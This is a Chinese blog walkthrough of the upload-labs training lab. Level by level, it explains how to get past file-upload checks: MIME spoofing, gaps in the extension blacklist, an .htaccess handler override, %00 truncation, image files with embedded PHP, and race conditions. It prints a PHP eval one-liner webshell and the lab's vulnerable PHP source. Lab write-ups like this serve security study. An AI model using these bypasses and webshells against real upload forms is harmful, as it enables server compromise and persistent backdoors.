欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

upload-labs基础总结

程序员文章站 2022-03-22 09:59:22
文章目录0x01 前端js检查0x02 MIME检查0x030x040x01 前端js检查前端js验证将一句话的扩展名改一下将扩展名.jpg删除即可0x02 MIME检查直接上传php按照上一题方法照样可以上传看提示说是对mime类型进行检查,看看源码$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_...


Apache/2.2.25
php/5.2.17

0x01 前端js检查

前端js验证
upload-labs基础总结
将一句话的扩展名改一下
upload-labs基础总结
将扩展名.jpg删除即可
upload-labs基础总结
upload-labs基础总结

0x02 MIME检查

直接上传php
upload-labs基础总结
按照上一题方法照样可以上传
upload-labs基础总结
看提示说是对mime类型进行检查,看看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

源码第五行的if语句对文件的mime类型进行了检查

这是上传php时的MIME类型
upload-labs基础总结
这是上传jpg时的MIME类型
upload-labs基础总结
那理论上我们可以不改1.php的后缀名,在抓包的时候更改MIME类型也可以上传成功

尝试上传1.php
upload-labs基础总结
修改上图MIME类型
upload-labs基础总结
上传成功

0x03 名单列表绕过

直接上传1.php
upload-labs基础总结
按照第一题方法做还是不行
upload-labs基础总结
猜想他是以.分离文件后缀名进行黑名单验证,上传1.jpg.php仍然失败
upload-labs基础总结
尝试%00截断
upload-labs基础总结
还是不行
搞不定,看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单只过滤了asp、aspx、php、jsp四种文件格式
尝试php3
upload-labs基础总结

0x04 .htaccess文件

不规则大小写
%00截断、特殊文件名
都绕不过
因为是黑名单,所以后来想到.htaccess,试一波
upload-labs基础总结
创建一个名为.htaccess的文件,内容为

<FilesMatch "1.jpg">
setHandler application/x-httpd-php
</FilesMatch> 

意思是将文件名里含有1.jpg的文件当做php来解析(21.jpg也可以解析哦,因为不是完全匹配)
upload-labs基础总结
然后直接上传1.jpg并访问他
upload-labs基础总结
被当做php文件来解析了
.htaccess一般用于绕过黑名单

中间件需要是Apache才可以尝试.htaccess绕过

0x05 不规则大小写绕过

直接看提示,黑名单挺大的,但是没有类似.phP这种不规则大小写,遂尝试
upload-labs基础总结
直接给他秒杀了
看了源码,发现源码将化为小写的那行代码去掉了,所以能够上传

0x06 扩展名末尾空格绕过

本来想用解析漏洞绕过的
不过发现他改了文件名
上传的是1.php.x
upload-labs基础总结
后来看源码,发现没有对文件末尾去空
upload-labs基础总结
upload-labs基础总结

0x07 末尾加.绕过

方法一:
直接上传1.php.x,因为Apache从右到左解析文件,扩展名.x它不认识就会继续向左解析
upload-labs基础总结
方法二:
前提:Windows系统
查看源码
发现他没有对文件名末尾进行去点操作
上传1.php.
upload-labs基础总结
upload-labs基础总结

尝试访问1.php
upload-labs基础总结
这是windows的特性,会自动去除文件名最后的.
实际上传的文件
upload-labs基础总结

0x08 ::$DATA绕过

前提:Windows系统
没有进行去除::$DATA

window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

上传1.php::$DATA

upload-labs基础总结
访问
upload-labs基础总结
去掉下图的::$data
upload-labs基础总结
upload-labs基础总结

0x09

方法一:
Apache解析漏洞
详见0x07

方法二:
重点看这里的代码

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;

这里第三行是对$file_name进行路径拼接
而第八关源码

if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;

第三行是对$file_ext进行路径拼接

所以我直接在文件末尾加两个. 发现并不行,遂看看他deldot函数的源码,发现他是循环去除末尾的.

<?php
function deldot($s){
	for($i = strlen($s)-1;$i>0;$i--){
		$c = substr($s,$i,1);
		if($i == strlen($s)-1 and $c != '.'){
			return $s;
		}

		if($c != '.'){
			return substr($s,0,$i+1);
		}
	}
}
?>

那可以构造1.php. .(.+空格+.)
upload-labs基础总结
upload-labs基础总结

0x10 双写绕过

提示说会去除php/php3…等字符
直接想到双写
upload-labs基础总结

upload-labs基础总结
直接缪撒

0x11 %00截断(get)

这题换成白名单验证了
看了源码,发现他的文件名直接拼接路径的,那我们可以试下%00截断
upload-labs基础总结
这样路径就变成../upload/1.php%001.jpg
去掉下图这一段
upload-labs基础总结

upload-labs基础总结

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

0x12 %00截断(post)

这题与上题的区别只是传参的方式不同
这题是post,上题是get
upload-labs基础总结
这样直接上传肯定是会失败的,因为post不会像get一样进行url解码
所以我们要手动进行url解码
upload-labs基础总结
后续步骤都一样
upload-labs基础总结

0x13 图片木马

GIF:
直接在文件里加GIF89a文件头
upload-labs基础总结
直接上传,然后包含
upload-labs基础总结
upload-labs基础总结

PNG:
png的文件头是 89 50 4E 47upload-labs基础总结
新建一个文件直接输入一句话木马,再放进winhex里修改就行了
然后直接上传,再包含即可

JPG:
jpg的文件头是FF D8 FF E1或者 FF D8 FF E0 00 10 4A 46 49 46 00 01
upload-labs基础总结
保存后直接上传包含

0x14 getimagesize()

直接改文件头失败
upload-labs基础总结
利用edjpgcom工具合成木马
选一张真正的jpg放进工具,写入一句话
upload-labs基础总结
然后直接上传(我这里偷懒了,严谨应该利用文件包含漏洞)
upload-labs基础总结
尝试菜刀连接
upload-labs基础总结
成功
注:edjpgcom只能用来合成jpg图片木马

PNG与GIF与上题一样直接加文件头就可以上传

0x15 exif_imagetype()

GIF与JPG与上题一样上传就行了
png直接加文件头无法绕过
upload-labs基础总结
试试用copy命令合成木马
upload-labs基础总结
2.php的内容就是<?php @eval($_POST['test']);?>一句话
test.png是一张普通的png图片
upload-labs基础总结
用notepad++打开,一句话一般会在文件末尾
试下上传包含(我这里偷懒了,严谨应该利用文件包含漏洞)
upload-labs基础总结

success!

0x16

直接上传edjpgcom合成的jpg
upload-labs基础总结
GIF:
直接用notepad++打开一张正常gif,在其末尾添加一句话<?php@eval($_POST['test'])?>
upload-labs基础总结
然后是上传再包含就行了

PNG:
与上题一样

0x17 条件竞争

准备1.php,内容如下

<?phpinfo();?>

upload-labs基础总结
上传抓包,发送到intruder
upload-labs基础总结
upload-labs基础总结
然后是payload设置
upload-labs基础总结
最后start attack就行了
在bp一直发送请求的时候,不断刷新http://100.2.39.238/upload/1.php,就会读到1.php的内容
upload-labs基础总结

0x19 条件竞争

这题我们可以直接上传一个图片马,但是没有文件包含漏洞get不到shell而已
upload-labs基础总结
本体应该是文件重命名竞争配合Apache解析漏洞打的…

本文地址:https://blog.csdn.net/baidu_39504221/article/details/110953365

相关标签: upload-labs